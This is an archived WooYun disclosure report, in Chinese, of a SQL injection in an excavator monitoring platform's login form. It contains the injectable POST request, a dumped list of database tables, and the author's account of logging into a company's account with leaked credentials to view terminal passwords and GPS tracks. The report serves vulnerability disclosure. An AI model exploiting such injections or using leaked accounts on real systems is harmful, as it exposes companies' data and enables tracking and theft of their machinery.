乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-06： 细节已通知厂商并且等待厂商处理中 2015-09-08： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开 2015-09-18： 细节向核心白帽子及相关领域专家公开 2015-09-28： 细节向普通白帽子公开 2015-10-08： 细节向实习白帽子公开 2015-10-23： 细节向公众公开
某挖掘机监控平台SQL注入导致3000余家公司挖掘机信息泄露(账号/终端信息/车辆实时定位/历史轨迹等等信息)，这回不用去蓝翔了！
1.控制平台页面URL:http://**.**.**.**/pmvm5/logon.asp
如上图，用户名存在注入
POST /pmvm5/userLogin/LoginCheck.aspx HTTP/1.1Host: **.**.**.**User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://**.**.**.**/pmvm5/logon.aspCookie: ASPSESSIONIDCQTDBRCD=IPGJEBAAEKOJJCONJIONGIKKX-Forwarded-For: **.**.**.**Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 142EOSOperator%2FuserID=123&TMPEOSOperator%2FuserID=&TMPEOSOperator%2Fpassword=&hciPasswordTypeEOSOperator%2Fpassword=1234&Image1.x=20&Image1.y=2
EOSOperator%2FuserID参数存在注入，涉及18个库
当前库600多个表
Database: YC2[638 tables]+-----------------------------+| FUNCTION || RIGHT || AAAA || AA_SIM || AA_TEMP_TAB || ALARMDATA || ALWAYSMENU || AREA || AREAPOINT || A_TEMP || CASE_VEHICLE || CATINFOBASE || CATINFOBASE2 || CATINFOBASE201001 || CATINFOBASE201002 || CATINFOBASE201003 || CATINFOBASE201004 || CATINFOBASE201005 || CATINFOBASE201006 || CATINFOBASE201007 || CATINFOBASE201008 || CATINFOBASE201009 || CATINFOBASE201010 || CATINFOBASE201105 || CATINFOBASE201106 || CATINFOBASE201303 || CATINFOBASE201304 || CATINFOBASE201305 || CATINFOBASE201306 || CATINFOBASE201307 || CATINFOBASE201308 || CATINFOBASE201309 || CATINFOBASE201310 || CATINFOBASE201311 || CATINFOBASE201312 || CATINFOBASE201401 || CATINFOBASE201402 || CATINFOBASE201403 || CATINFOBASE201404 || CATINFOBASE201405 || CATINFOBASE201406 || CATINFOBASE201407 || CATINFOBASE201408 || CATINFOBASE201409 || CATINFOBASE201410 || CATINFOBASE201411 || CATINFOBASE201412 || CATINFOBASE201501 || CATINFOBASE201502 || CATINFOBASE201503 || CATINFOBASE201504 || CATINFOBASE201505 || CATINFOBASE201506 || CATINFOBASE201507 || CATINFOBASE201508 || CATINFOBASE201509 || CATINFOBASE201510 || CATINFOBASE201511 || CATINFOBASE201512 || CATVEHICLELOG || CITY || COMMUNICATIONTYPE || CONTRACTLOAN || CONTRACTREPAY || CQKGJTYPE || CROSSPROVINCEINFO || CURPOSFAILD || CUTOFFALARM || CUTOFFALARMCLASS || DATAOFSYSTEM || DEVICETYPE || DFAULTCODE || DISTRICTINFO || DTCAISI31 || ERRLOG || ERRTEST || FAULTINFO || FINANCINGORG || FUNCTIONPROPERTY || FUNCTIONTEST || FUNCTIONTESTRECORD || GPRSUNLOCKVEHICLES || GROUPPARAM || HEAVYLOG || INDUSTRYCATEGORY || INFORMINFO || JHHH || JX50_HIT || LOCKLOG || LOCKLOGSMS || LOCKMANAGER || LOCKMANAGER_HISTORY || MAPSCALE || MENU || MENULIST || MESSAGESET || METERTYPE || MOBILEINFOMANAGE || MOBILENOLOG || MOBILESTATIONTYPE || NETEXCEPTION || NETLOG || OLDLIST || ONLINERATES201110 || ONLINERATES201111 || ONLINERATES201112 || ONLINERATES201202 || ONLINERATES201203 || ONLINERATES201204 || ONLINERATES201205 || ONLINERATES201206 || ONLINERATES201207 || ONLINERATES201208 || ONLINERATES201209 || ONLINERATES201210 || ONLINERATES201211 || ONLINERATES201212 || ONLINERATES201301 || ONLINERATES201302 || ONLINERATES201303 || ONLINERATES201304 || OPERATETYPELIST || OPERATINFOLOG || OPERATORLOG || ORIENTATIONLOG || PHONEBOOK || PHONELIST || PHONETYPE || PMX_DATA || POPEDOMDATA || POPEDOMINFO || POPEDOMVEHICLE || PROC_TEMPTB_TRACEINFO || PROPERTY || PROPERTYRIGHT || REPAIR || RESETACCTIMES || RESULTTABLE || RETURNVISIT || RIGHTVEHICLE || ROLE || ROLERIGHT || ROLERIGHTVEH || ROLERIGHTVEHMID || ROLETYPE || ROLEVEHICLE || RUNBASETABLE201201 || RUNBASETABLE201202 || RUNBASETABLE201203 || RUNBASETABLE201204 || RUNBASETABLE201205 || RUNBASETABLE201206 || RUNBASETABLE201207 || RUNBASETABLE201208 || RUNBASETABLE201209 || RUNBASETABLE201210 || RUNPARAM || RUNTRACETABLE201206 || RUNTRACETABLE201207 || RUNTRACETABLE201208 || RUNTRACETABLE201209 || RUNTRACETABLE201210 || RUSERVEHICLE || RUSERVEHICLE_20120828 || SCATICMENU || SENDLOCK || SENDTEMP || SERVERLOG2007 || SERVERLOG2008 || SERVERLOG2009 || SERVERLOG2010 || SERVERLOG2011 || SERVERLOG2012 || SERVERLOG2013 || SERVERLOG2014 || SERVERLOG2015 || SERVICE_PLAT_SYNC_DEL || SGALARM201201 || SGALARM201202 || SGALARM201203 || SGALARM201204 || SGALARM201205 || SGALARM201206 || SGALARM201207 || SGALARM201208 || SGALARM201209 || SGALARM201210 || SGALARM201211 || SGALARM201212 || SGALARM201301 || SGALARM201302 || SGALARM201303 || SGALARM201304 || SGALARM201305 || SGALARM201306 || SGALARM201307 || SGALARM201308 || SGALARM201309 || SGALARM201310 || SGALARM201311 || SGALARM201312 || SGALARM201401 || SGALARM201402 || SGALARM201403 || SGALARM201404 || SGALARM201405 || SGALARM201406 || SGALARM201407 || SGALARM201408 || SGALARM201409 || SGALARM201410 || SGALARM201411 || SGALARM201412 || SGALARM201501 || SGALARM201502 || SGALARM201503 || SGALARM201504 || SGALARM201505 || SGALARM201506 || SGALARM201507 || SGALARM201508 || SGALARM201509 || SGGPRSLOG20150516 || SGGPRSLOG20150517 || SGGPRSLOG20150518 || SGGPRSLOG20150519 || SGGPRSLOG20150520 || SGGPRSLOG20150521 || SGGPRSLOG20150522 || SGGPRSLOG20150523 || SGGPRSLOG20150524 || SGGPRSLOG20150525 || SGGPRSLOG20150526 || SGGPRSLOG20150527 || SGGPRSLOG20150528 || SGGPRSLOG20150529 || SGGPRSLOG20150530 || SGGPRSLOG20150531 || SGGPRSLOG20150601 || SGGPRSLOG20150602 || SGGPRSLOG20150603 || SGGPRSLOG20150604 || SGGPRSLOG20150605 || SGGPRSLOG20150606 || SGGPRSLOG20150607 || SGGPRSLOG20150608 || SGGPRSLOG20150609 || SGGPRSLOG20150610 || SGGPRSLOG20150611 || SGGPRSLOG20150612 || SGGPRSLOG20150613 || SGGPRSLOG20150614 || SGGPRSLOG20150615 || SGGPRSLOG20150616 || SGGPRSLOG20150617 || SGGPRSLOG20150618 || SGGPRSLOG20150619 || SGGPRSLOG20150620 || SGGPRSLOG20150621 || SGGPRSLOG20150622 || SGGPRSLOG20150623 || SGGPRSLOG20150624 || SGGPRSLOG20150625 || SGGPRSLOG20150626 || SGGPRSLOG20150627 || SGGPRSLOG20150628 || SGGPRSLOG20150629 || SGGPRSLOG20150630 || SGGPRSLOG20150701 || SGGPRSLOG20150702 || SGGPRSLOG20150703 || SGGPRSLOG20150704 || SGGPRSLOG20150705 || SGGPRSLOG20150706 || SGGPRSLOG20150707 || SGGPRSLOG20150708 || SGGPRSLOG20150709 || SGGPRSLOG20150710 || SGGPRSLOG20150711 || SGGPRSLOG20150712 || SGGPRSLOG20150713 || SGGPRSLOG20150714 || SGGPRSLOG20150715 || SGGPRSLOG20150716 || SGGPRSLOG20150717 || SGGPRSLOG20150718 || SGGPRSLOG20150719 || SGGPRSLOG20150720 || SGGPRSLOG20150721 || SGGPRSLOG20150722 || SGGPRSLOG20150723 || SGGPRSLOG20150724 || SGGPRSLOG20150725 || SGGPRSLOG20150726 || SGGPRSLOG20150727 || SGGPRSLOG20150728 || SGGPRSLOG20150729 || SGGPRSLOG20150730 || SGGPRSLOG20150731 || SGGPRSLOG20150801 || SGGPRSLOG20150802 || SGGPRSLOG20150803 || SGGPRSLOG20150804 || SGGPRSLOG20150805 || SGGPRSLOG20150806 || SGGPRSLOG20150807 || SGGPRSLOG20150808 || SGGPRSLOG20150809 || SGGPRSLOG20150810 || SGGPRSLOG20150811 || SGGPRSLOG20150812 || SGGPRSLOG20150813 || SGGPRSLOG20150814 || SGGPRSLOG20150815 || SGGPRSLOG20150816 || SGGPRSLOG20150817 || SGGPRSLOG20150818 || SGGPRSLOG20150819 || SGGPRSLOG20150820 || SGGPRSLOG20150821 || SGGPRSLOG20150822 || SGGPRSLOG20150823 || SGGPRSLOG20150824 || SGGPRSLOG20150825 || SGGPRSLOG20150826 || SGGPRSLOG20150827 || SGGPRSLOG20150828 || SGGPRSLOG20150829 || SGGPRSLOG20150830 || SGGPRSLOG20150831 || SGGPRSLOG20150901 || SGGPRSLOG20150902 || SGGPRSLOG20150903 || SGGPRSLOG20150904 || SGGPRSLOGTYPE || SGKEYOFF || SGKEYON || SGSERVICE || SGSULT || SGTROUBLE || SHORTCUTMENU || SMSLOG || SPEEDALARM || SUGGESTIONS || SYSTEMLOG || SYS_EXPORT_SCHEMA_01 || SYS_EXPORT_TABLE_01 || SYS_EXPORT_TABLE_02 || SYS_TEMP_FBT || T1000 || T100000 || T10000000 || T1250000 || T20000 || T20000000 || T2500 || T2500000 || T500 || T50000 || T500000 || T8000 || TABLENAMELOGS || TABLENAMELOGST || TACKCARECONTENT || TAKECARE || TAKEPLAN || TEREXOPERATLOG || TERMINALOPERATELOG || TERMINALOPERATELOG2010 || TERMINALOPERATELOG201203 || TERMINALOPERATELOG201204 || TERMINALOPERATELOG201205 || TERMINALOPERATELOG201206 || TERMINALOPERATELOG201207 || TERMINALOPERATELOG201208 || TERMINALOPERATELOG201209 || TERMINALOPERATELOG201210 || TERMINALOPERATELOG201211 || TERMINALOPERATELOG201212 || TERMINALOPERATELOG201301 || TERMINALOPERATELOG201302 || TERMINALOPERATELOG201303 || TERMINALOPERATELOG201304 || TERMINALOPERATELOG201305 || TERMINALOPERATELOG201306 || TERMINALOPERATELOG201307 || TERMINALOPERATELOG201308 || TERMINALOPERATELOG201309 || TERMINALOPERATELOG201310 || TERMINALOPERATELOG201311 || TERMINALOPERATELOG201312 || TERMINALOPERATELOG201401 || TERMINALOPERATELOG201402 || TERMINALOPERATELOG201403 || TERMINALOPERATELOG201404 || TERMINALOPERATELOG201405 || TERMINALOPERATELOG201406 || TERMINALOPERATELOG201407 || TERMINALOPERATELOG201408 || TERMINALOPERATELOG201409 || TERMINALOPERATELOG201410 || TERMINALOPERATELOG201411 || TERMINALOPERATELOG201412 || TERMINALOPERATELOG201501 || TERMINALOPERATELOG201502 || TERMINALOPERATELOG201503 || TERMINALOPERATELOG201504 || TERMINALOPERATELOG201505 || TERMINALOPERATELOG201506 || TERMINALOPERATELOG201507 || TERMINALOPERATELOG201508 || TERMINALOPERATELOG201509 || TERMINALOPERATELOG201510 || TERMINALOPERATELOG201511 || TERMINALOPERATELOG201512 || TEST201107 || TEST201108 || TEST20110916 || TMP_JBT_ACCTIMES || TMP_JBT_SIM || TMP_MACHNDATA_ZN || TOTALACCTIMES201003 || TOTALACCTIMES201004 || TOTALACCTIMES201005 || TOTALACCTIMES201006 || TOTALACCTIMES201007 || TOTALACCTIMES201008 || TOTALACCTIMES201009 || TOTALACCTIMES201010 || TOTALACCTIMES201011 || TOTALACCTIMES201012 || TOTALACCTIMES201101 || TOTALACCTIMES201102 || TOTALACCTIMES201103 || TOTALACCTIMES201104 || TOTALACCTIMES201105 || TOTALACCTIMES201106 || TOTALACCTIMES201107 || TOTALACCTIMES201108 || TOTALACCTIMES201109 || TOTALACCTIMES201110 || TOTALACCTIMES201111 || TOTALACCTIMES201112 || TOTALACCTIMES201201 || TOTALACCTIMES201202 || TOTALACCTIMES201203 || TOTALACCTIMES201204 || TOTALACCTIMES201205 || TOTALACCTIMES201206 || TOTALACCTIMES201207 || TOTALACCTIMES201208 || TOTALACCTIMES201209 || TOTALACCTIMES201210 || TOTALACCTIMES201211 || TOTALACCTIMES201212 || TOTALACCTIMES201301 || TOTALACCTIMES201302 || TOTALACCTIMES201303 || TOTALACCTIMES201304 || TOTALACCTIMES201305 || TOTALACCTIMES201306 || TOTALACCTIMES201307 || TOTALACCTIMES201308 || TOTALACCTIMES201309 || TOTALACCTIMES201310 || TOTALACCTIMES201311 || TOTALACCTIMES201312 || TOTALACCTIMES201401 || TOTALACCTIMES201402 || TOTALACCTIMES201403 || TOTALACCTIMES201404 || TOTALACCTIMES201405 || TOTALACCTIMES201406 || TOTALACCTIMES201407 || TOTALACCTIMES201408 || TOTALACCTIMES201409 || TOTALACCTIMES201410 || TOTALACCTIMES201411 || TOTALACCTIMES201412 || TOTALACCTIMES201501 || TOTALACCTIMES201502 || TOTALACCTIMES201503 || TOTALACCTIMES201504 || TOTALACCTIMES201505 || TOTALACCTIMES201506 || TOTALACCTIMES201507 || TOTALACCTIMES201508 || TOTALACCTIMES201509 || TOTALACCTIMES201510 || TOTALACCTIMES201511 || TOTALACCTIMES201512 || TTTT || TYPEPROPERTY || TZ_TEST || UNIQUENOTEMPTABLE || UNIQUENOTEMPTABLE_EXPORT || UNITCONTAINERINFO || UNITINFO || UNITINFO_20110306 || UNITINFO_20120902 || UNITINFO_58BAK || UNITINFO_TEMP || UNITRISKINFO || UNITVEHFUNCION || UNITVEHICLEBRAND || UNITVEHMODEL || UPDATEUNIQUENOLOG || USERBDCOLOR || USERINFO || USERINFO_11 || USERINFO_20110306 || USERINFO_TEMP || VEHICLEALARM || VEHICLECARTIME_JBT || VEHICLECURPOS || VEHICLECURPOS20130220 || VEHICLECURPOS2013022010 || VEHICLECURPOS20130408 || VEHICLECURPOS_1637 || VEHICLECURPOS_20120514BAK || VEHICLECURPOS_20121015 || VEHICLECURPOS_20121018 || VEHICLECURPOS_20121116 || VEHICLECURPOS_58 || VEHICLECURPOS_58BAK || VEHICLECURPOS_A || VEHICLECURPOS_B || VEHICLECURPOS_BAK || VEHICLECURPOS_MYNEW || VEHICLECURPOS_OLD1884 || VEHICLECURPOS_XVCHENG || VEHICLEDEVICE || VEHICLEFUNCTIONS || VEHICLELASTALARM || VEHICLELASTALARM_A || VEHICLELASTALARM_B || VEHICLELOG || VEHICLELOGOUT || VEHICLELOG_A || VEHICLELOG_OLD || VEHICLEMENU || VEHICLEMODEL || VEHICLEMODEL_20121112 || VEHICLEPROPERTY || VEHICLEPROPERTY_20120412 || VEHICLEPROPERTY_20120514BAK || VEHICLEPROPERTY_20121015 || VEHICLEPROPERTY_20121112 || VEHICLEPROPERTY_20140930 || VEHICLEPROPERTY_ALLVEHICLE || VEHICLEPROPERTY_MTLVIEW || VEHICLEPROPERTY_TEMP || VEHICLEPROPERTY_TEMP1 || VEHICLEPROPERTY_TMP || VEHICLEPROPERTY_TMP1 || VEHICLERECHARGE || VEHICLERECHARGE_BAK1 || VEHICLERUNNING || VEHICLESTATICMENU || VEHICLETASK || VEHICLETRACE || VEHICLETRACE201006 || VEHICLETRACE201007 || VEHICLETRACE201008 || VEHICLETRACE201009 || VEHICLETRACE201010 || VEHICLETRACE201011 || VEHICLETRACE201012 || VEHICLETRACE201105 || VEHICLETRACE201106 || VEHICLETRACE201408 || VEHICLETRACE201409 || VEHICLETRACE201410 || VEHICLETRACE201411 || VEHICLETRACE201412 || VEHICLETRACE201501 || VEHICLETRACE201502 || VEHICLETRACE201503 || VEHICLETRACE201504 || VEHICLETRACE201505 || VEHICLETRACE201506 || VEHICLETRACE201507 || VEHICLETRACE201508 || VEHICLETRACE201509 || VEHICLETRACE201510 || VEHICLETRACE201511 || VEHICLETRACE201512 || VEHICLETYPE || VEHJBTACCTEMP || VEHJBTDATATEMP || VEHJBTTEMP || VEHL_A || VEH_A || VELPOS_LOG || WEBAGENTINFO || WORKHOURS201306 || WORKHOURS201306_A || WORKHOURS201307 || WORKHOURS201308 || WORKHOURS201309 || WORKHOURS201310 || WORKHOURS201311 || WORKHOURS201312 || WORKHOURS201401 || WORKHOURS201402 || WORKHOURS201403 || WORKHOURS201404 || WORKHOURS201405 || WORKHOURS201406 || WORKHOURS201407 || WORKHOURS201408 || WORKHOURS201409 || WORKHOURS201410 || WORKHOURS201411 || WORKHOURS201412 || WORKHOURS201501 || WORKHOURS201502 || WORKHOURS201503 || WORKHOURS201504 || WORKHOURS201505 || WORKHOURS201506 || WORKHOURS201507 || WORKHOURS201508 || WORKHOURS201509 || WORKHOURS201510 || WORKHOURS201511 || WORKHOURS201512 || WORKHOURS_40 || WORKHOURS_41 || WORKTIMES || WORKTIMES_OLD || W_R5 || XG_LONGMOVEALARM || XG_VEHICLE || XU_SIM || XVCHENGTEMP1 || ZN_CSV_FILEINFO || ZOOM |+-----------------------------+
USERINFO表里有3700多个公司账号密码
2.随便等进去一个账号
这个公司挖掘机还不少。。。终端信息，包括机器密码
GPS定位
可以查看具体坐标和历史轨迹
蓝翔学生没准可以过去开走。。。其他信息太专业看不太懂，就不测试了
过滤
危害等级：高
漏洞Rank：13
确认时间：2015-09-08 19:44
CNVD确认所述情况，已经转由CNCERT下发给江苏分中心，由其后续协调网站管理单位处置。
暂无
